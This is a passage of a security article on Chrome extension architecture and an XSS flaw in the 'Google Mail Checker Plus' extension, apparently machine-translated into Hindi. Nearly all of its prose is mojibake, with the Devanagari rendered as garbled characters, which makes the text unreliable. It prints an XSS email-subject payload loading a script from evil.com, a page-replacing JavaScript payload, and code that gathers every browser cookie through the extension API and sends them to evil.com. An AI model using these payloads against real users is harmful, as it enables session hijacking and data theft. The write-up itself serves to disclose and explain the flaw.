рд╣рд░ рджрд┐рди, Google Chrome рдЕрдзрд┐рдХ рд╕реЗ рдЕрдзрд┐рдХ рд▓реЛрдХрдкреНрд░рд┐рдп рд╣реЛ рд░рд╣рд╛ рд╣реИред рдЗрд╕рдХреЗ рд░рдЪрдирд╛рдХрд╛рд░реЛрдВ рдиреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рдХрд╛рдо рдХрд┐рдпрд╛ред рд╡реЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд░рдЦрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдПрдХ рдирдпрд╛ рдЦрддрд░рд╛ рднреА рд╣реИред

рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ, рдореИрдВ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд░реНрдгрди рдирд╣реАрдВ рдХрд░реВрдВрдЧрд╛ рдХрд┐ рдХреНрд░реЛрдо рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░ рд╡рд╛рд╕реНрддреБрдХрд▓рд╛ рдХреНрдпрд╛ рд╣реИред рдЖрдк рд▓реИрд░реА рд╕реЗрд▓реНрдЯрдЬрд╝рд░
"Google рдХреЗ рдХреНрд░реЛрдо рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╢реЛ рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдлреЛрдХрд╕" рдХреЗ рдПрдХ рдЕрдЪреНрдЫреЗ рд▓реЗрдЦ рд╕реЗ рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВред рдФрд░ рдиреАрдЪреЗ рдЪрд░реНрдЪрд╛ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╣рд░ рдЪреАрдЬ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдХреБрдЫ рдмрд┐рдВрджреБрдУрдВ рдХреЛ рдорд╣рд╕реВрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдХреНрд░реЛрдо рдмреНрд░рд╛рдЙрдЬрд╝рд░, рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдХреА рддрд░рд╣, рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпреЗ рдЫреЛрдЯреЗ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдореЙрдбреНрдпреВрд▓ рд╣реИрдВ рдЬрд┐рдирдХреЗ рд╕рд╛рде рдЖрдк рдмреБрдирд┐рдпрд╛рджреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕реБрдзрд╛рд░ рд╕рдХрддреЗ рд╣реИрдВред рджреВрд╕рд░реА - рдкреНрд▓рдЧрдЗрдиреНрд╕ рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрдм рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рдХрд╕рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВ: HTML рдФрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдЬрд┐рдирдореЗрдВ HTML5 рдФрд░ CSS рдХреА рдЕрдЪреНрдЫрд╛рдЗрдпрд╛рдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдЗрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рдХрд╛рд╕ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкрд░рд┐рдорд╛рдг рдХреЗ рдХреНрд░рдо рд╕реЗ рд╕рд░рд▓ рдХрд░рддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдлрд╛рдпрд░рд▓реАрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдореЗрдВ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рдЬреНрдпрд╛рджрд╛рддрд░ рдЙрд╕реА рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ)ред рдФрд░ рддреАрд╕рд░рд╛, рд╕рднреА рдкреНрд▓рдЧрдЗрдиреНрд╕ рдПрдХ рд╣реА рд╕рдВрд░рдЪрдирд╛ рдкрд░ рдмрдирд╛рдП рдЧрдП рд╣реИрдВред рдЖрдорддреМрд░ рдкрд░, Chrome рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдШрдЯрдХ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВ:
- рдореИрдирд┐рдлрд╝реЗрд╕реНрдЯ.рдЬреЙрди рдореЗрдирд┐рдлрд╝реЗрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ - рдЗрд╕рдореЗрдВ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ: рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕рдХрд╛ рдирд╛рдо рдФрд░ рд╡рд┐рд╡рд░рдг, рд╕рдВрд╕реНрдХрд░рдг, рдкреНрд░рдпреБрдХреНрдд рдлрд╛рдЗрд▓реЗрдВ, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░, рдФрд░ рдмрд╣реБрдд рдХреБрдЫ;
- рдПрдХ рдпрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ HTML рдкреГрд╖реНрда, рдЬрд┐рд╕рдореЗрдВ рдкреГрд╖реНрда рдкреГрд╖реНрда background.html рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░ рдЗрдВрдЬрди рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ;
- рд╡реИрдХрд▓реНрдкрд┐рдХ: рдПрдореНрдмреЗрдбреЗрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рд╣рд┐рдд рдПрдХ рдпрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдЬреЗрдПрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ (рдпрд╣ рдУрдкреЗрд░рд╛ рдФрд░ рдореЛрдЬрд╝реЗрд░реЗрд▓рд╛ рдореЗрдВ рдЧреНрд░реАрд╕реАрдореЛрдиреА рдореЗрдВ UserJS рдХрд╛ рдПрдХ рдПрдирд╛рд▓реЙрдЧ рд╣реИ);
- рд╡реИрдХрд▓реНрдкрд┐рдХ: рдмрд╛рдХреА рд╕рдм рдХреБрдЫ рдЬрд┐рд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИ - рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЫрд╡рд┐ рдлрд╝рд╛рдЗрд▓реЗрдВред
рдпрд╣ рд╕рд╛рд░рд╛ рдЦреЗрдд рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреНрд░реИрдХреНрд╕ рдХреЗ рд╕рд╛рде рдЬрд╝рд┐рдк рд╕рдВрдЧреНрд░рд╣ рдореЗрдВ рдкреИрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдРрдб-рдСрди рдкреГрд╖реНрдареЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП, рдПрдХ рдкреГрд╖реНрда рд╕реЗ рджреВрд╕рд░реЗ рдкреГрд╖реНрда рд╕реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХрд░рдирд╛ рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдбреЛрдо рдореЙрдбрд▓ рдХреЛ рдмрджрд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдПрдореНрдмреЗрдбреЗрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд░ рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рд╕рдВрджреЗрд╢ рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкреГрд╖реНрдареЛрдВ рдХреЗ рд▓рд┐рдП, рдмреБрдХрдорд╛рд░реНрдХ, рдмреНрд░рд╛рдЙрдЬрд╝рд┐рдВрдЧ рдЗрддрд┐рд╣рд╛рд╕, рдХреБрдХреАрдЬрд╝, рд╡рд┐рдВрдбреЛ, рдЯреИрдм, рдИрд╡реЗрдВрдЯ рдФрд░ рдЗрд╕реА рддрд░рд╣ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдПрдкреАрдЖрдИ рдЙрдкрд▓рдмреНрдз рд╣реИрдВред

Google Chrome рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░ рдЙрдкрдХрд░рдг
рдЕрдм, рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╡рд┐рдЪрд╛рд░ рд╣реЛрдиреЗ рдХреЗ рдирд╛рддреЗ, рдореИрдВ рдпрд╣ рд╕рдордЭрдиреЗ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рдХрд░рддрд╛ рд╣реВрдВ рдХрд┐ рдпреЗ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХрд┐рдпрд╛рдВ рдХреНрдпрд╛ рдЬреЛрдЦрд┐рдо рдЙрдард╛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдХреНрд░реЛрдо рдХреЗ рд▓рд┐рдП рдРрдб-рдСрди рдХреЗ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдХреНрдпрд╛ рд╡рд┐рдЪрд╛рд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред
XSS
рдЬреАрдореЗрд▓,
рдЧреВрдЧрд▓ рдореЗрд▓ рдЪреЗрдХрд░ рдкреНрд▓рд╕ рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП рд▓реЛрдХрдкреНрд░рд┐рдп (рдкреНрд░рддрд┐ рд╕рдкреНрддрд╛рд╣ рд▓рдЧрднрдЧ 18,368 рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди) рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред рдпрд╣ рдЙрдкрдпреЛрдЧреА рдРрдбрдСрди рдХреЗрд╡рд▓ рдПрдХ рд╣реА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ - рдпрд╣ рдЖрдкрдХреЗ рдЗрдирдмреЙрдХреНрд╕ рдореЗрдВ рдЕрдкрдард┐рдд рдЕрдХреНрд╖рд░реЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ, рдФрд░ рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдПрдХ рдкреВрд░реНрд╡рд╛рд╡рд▓реЛрдХрди рд╡рд┐рдВрдбреЛ рдЦреЛрд▓рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдбреЗрд╕реНрдХрдЯреЙрдк рдкрд░ рдЕрд▓рд░реНрдЯ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред

Google рдореЗрд▓ рдкрд░реАрдХреНрд╖рдХ рдкреНрд▓рд╕ рдкреЙрдкрдЕрдк рдореЗрдВ рдИрдореЗрд▓ рдкреВрд░реНрд╡рд╛рд╡рд▓реЛрдХрди
рдкреВрд░реНрд╡рд╛рд╡рд▓реЛрдХрди рдХреНрд╖реЗрддреНрд░ рдореЗрдВ, рд╣рдо рдХрдо рд╕реЗ рдХрдо рдкрддреНрд░ рдХреЗ рд╡рд┐рд╖рдп, рдкреНрд░реЗрд╖рдХ рдФрд░ рд╕рдВрджреЗрд╢ рдХреЗ рдкрд╛рда рдХреЛ рд╕реАрдзреЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдЗрдП рдЗрд╕рд╕реЗ рдЦреЗрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдЕрдЧрд▓реЗ рд╡рд┐рд╖рдп рдХреЗ рд╕рд╛рде рдПрдХ рдкрддреНрд░ рднреЗрдЬрддреЗ рд╣реИрдВ рддреЛ рдХреНрдпрд╛ рд╣реЛрдЧрд╛?
2"'><script src="http://evil.com/own.js"></script>
рдпрд╣рд╛рдВ рднреЗрджреНрдпрддрд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рднрд╛рд░ рд╣реИред
document.body.innerHTML = ''; img = new Image(); img.src = 'http://evil.com/stallowned.jpg'; document.body.appendChild(img);
рдкрддреНрд░ рдЖрдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдкрд╣рд▓реЗ рдбреЗрд╕реНрдХрдЯреЙрдк рдкрд░ рдПрдХ рдЕрдзрд┐рд╕реВрдЪрдирд╛ рджреЗрдЦреЗрдВрдЧреЗ:

Google рдореЗрд▓ рдЪреЗрдХрд░ рдкреНрд▓рд╕ рдЕрдзрд┐рд╕реВрдЪрдирд╛ рдореЗрдВ XSS
рдФрд░ рдлрд┐рд░ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рд╣рдо рдЕрдкрдиреЗ XSS рдХреЛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкреЙрдк-рдЕрдк рд╡рд┐рдВрдбреЛ рдореЗрдВ рджреЗрдЦреЗрдВрдЧреЗ:

Google рдореЗрд▓ рдЪреЗрдХрд░ рдкреНрд▓рд╕ рдореЗрдВ XSS
рдмрд┐рдВрдЧреЛ! рд╡реИрд╕реЗ, рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдЬреВрди 2010 рдореЗрдВ рд▓реЙрд╕реНрдЯрдорди рдЙрдкрдирд╛рдо рдХреЗ рддрд╣рдд рдПрдХ рд╡реНрдпрдХреНрддрд┐ рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рдерд╛, рд▓реЗрдХрд┐рди рдореИрдВрдиреЗ рдЗрд╕реЗ рдЙрдард╛рдпрд╛, рдФрд░ рд╡рд┐рд╕реНрддрд╛рд░ рдХреЗ рд▓реЗрдЦрдХ рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕реБрдзрд╛рд░ рдХрд░рдирд╛ рдкрдбрд╝рд╛ :)ред рдмрдЧ рдкрд░ рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдПрдХ рд╣реА рд╡реНрдпрдХреНрддрд┐ рдиреЗ рд▓рд┐рдЦрд╛:
рд╕рднреА рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЙрд╕рдХреЗ рдореВрд▓ рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВ рдФрд░ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реЗ рдбреЗрдЯрд╛ рдХреЛ рдмрджрд▓рдиреЗ рдпрд╛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдЬреИрд╕реЗ рдИрдореЗрд▓ рдИрдореЗрд▓ рдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЖрджрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИ ...
рдРрд╕реА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрдерддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рддреЗ рд╣реБрдП, рд╡рд╣ рдХрд╛рдлреА рд╕рд╣реА рдирд╣реАрдВ рд╣реИ :)ред рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд╡рд┐рд╕реНрддрд╛рд░ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдХреЗрд▓реЗ XSS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрдпрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдХреБрдХреАрдЬрд╝
рд╕рддреНрд░ рдбреЗрдЯрд╛ XSS рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реЛрдХрдкреНрд░рд┐рдп рд▓рдХреНрд╖реНрдп рд╣реИред рд▓реЗрдХрд┐рди рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдПрдХ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреБрдХреАрдЬрд╝ рддрдХ рд╕реАрдзреА рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдСрдмреНрдЬреЗрдХреНрдЯ - рд╣рдореЗрдВ рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдХреБрдХреАрдЬрд╝ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╕реНрддрд╛рд░ (рдФрд░ рд╣рдо рднреА) рдХреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдФрд░ рдбреЛрдореЗрди рдХреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдкреНрд░рдХрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕ рддрд░рд╣:
{ "name": "My extension", ... "permissions": [ "cookies", "*://*.google.com" ], ... }
рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдЬреЛрдЦрд┐рдо рддрдм рдмрдврд╝ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдореЗрдВ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЕрд░реНрдерд╛рддреН, рдХрдо рд╕реЗ рдХрдо рдХреБрдХреАрдЬрд╝ рдФрд░ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдкрдВрдЬреАрдХреГрдд рдбреЛрдореЗрди рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, XSS рдПрдХ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЦрддрд░рдирд╛рдХ рдЪреАрдЬ рдмрди рдЬрд╛рддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рд╕рднреА рдЕрдиреБрдордд рдбреЛрдореЗрди рдХреЗ рдХреБрдХреАрдЬрд╝ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдирд┐рдореНрди рдХреЛрдб рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рднреА рдЙрдкрд▓рдмреНрдз рдХреБрдХреАрдЬрд╝ рдХреИрд╕реЗ рдПрдХрддреНрд░ рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕реНрдирд┐рдлрд░ рдХреЛ рднреЗрдЬреЗрдВ:
chrome.cookies.getAll({}, function(cookies) { var dump = 'COOKIES: '; for (var i in cookies) { dump += cookies[i].domain + ':' + cookies[i].name + ':' + cookies[i].value + ' | '; } img = new Image(); img.src = 'http://evil.com/stallowned.jpg?' + dump; document.body.appendChild(img); });
рд╕рднреА рдбреЗрдЯрд╛ рд╣рдорд╛рд░реЗ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЗ рдЕрдиреБрд░реЛрдз рд▓реЙрдЧ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗред
рдПрдХ рд╣рдорд▓реЗ рдХреЗ рд▓рдХреНрд╖реНрдп рдХреЗ рд░реВрдк рдореЗрдВ рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдбреЗрдЯрд╛
рдкрд┐рдЫрд▓реЗ рднрд╛рдЧ рдореЗрдВ, рд╣рдордиреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рджреЗрдЦрд╛ рдХрд┐ рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░ рднреЗрджреНрдпрддрд╛ XSS рдХреЛ рдЬрдиреНрдо рджреЗ рд╕рдХрддреА рд╣реИред рдХреБрдЫ рд╢рд░реНрддреЛрдВ рдХреЗ рддрд╣рдд (рдкреНрд░рдХрдЯ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдФрд░ рдбреЛрдореЗрди рд╣реИрдВ), рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╡рд┐рднрд┐рдиреНрди рд╕рд╛рдЗрдЯреЛрдВ рд╕реЗ рдХреБрдХреАрдЬрд╝ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рдирд┐рдпрдорд┐рдд рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ XSS рдкрд░ рдПрдХ рдордЬрдмреВрдд рд▓рд╛рдн рд╣реИред рд╡рд╣ рдЗрд╕ рддрд░рд╣ рдХреЗ рджрд┐рд▓рдЪрд╕реНрдк рдбреЗрдЯрд╛ рдХреЛ рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░, рдмреБрдХрдорд╛рд░реНрдХ рдФрд░ рдПрдкреАрдЖрдИ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде рдЙрдЪрд┐рдд рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдЧрд╛ред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдкреНрд░рдХрд╛рд░ рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, XSS рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рди рдХрд┐ рдХреЗрд╡рд▓ рдХреБрдХреАрдЬрд╝ рдХреА рдЪреЛрд░реА рд╕реЗред
рдИрдореЗрд▓ рдЪреЛрд░реА
XSS рдХреЗ рд╕рд╛рде, рдЖрдк рдмрд╛рд╣рд░реА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреАрдореЗрд▓ рдХреА рд╕реЗрдЯрд┐рдВрдЧ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕реЗ рдЗрддрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рди рд╣реЛрдиреЗ рджреЗрдВред рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдХреЛрдИ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрддреНрд░ рдореЗрдВ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ HTML / рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдПрдХ рдЯреИрдЧ рдЬреЛрдбрд╝ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рд╕рд░реНрд╡рд░ рд╕реЗ рдПрдХ рддрд╕реНрд╡реАрд░ рдХреЗ рдЕрдиреБрд░реЛрдз рдкрд░, рдкрддреНрд░ рдкрдврд╝рдиреЗ рдХреЗ рддрдереНрдп рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЬреАрдореЗрд▓ рдореЗрдВ рдмрд╛рд╣рд░реА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛ рдпрд╣ рд╕рдм рд╕рдВрднрд╡ рд╣реИ! рд▓реЗрдХрд┐рди рдпрд╣ рдмрдХрд╡рд╛рд╕ рд╣реИ, рд▓реЗрдХрд┐рди рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЧрдВрднреАрд░ рд╣реИ рд╡рд╣ рдкрддреНрд░рд╛рдЪрд╛рд░ рдХрд╛ рдЕрдкрд╣рд░рдг рд╣реИред рдПрдХ рджреВрд╕рд░реЗ рдХреЗ рд▓рд┐рдП рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХреЛ рдЗрд╕ рддрд░рд╣ рдХрд╛ 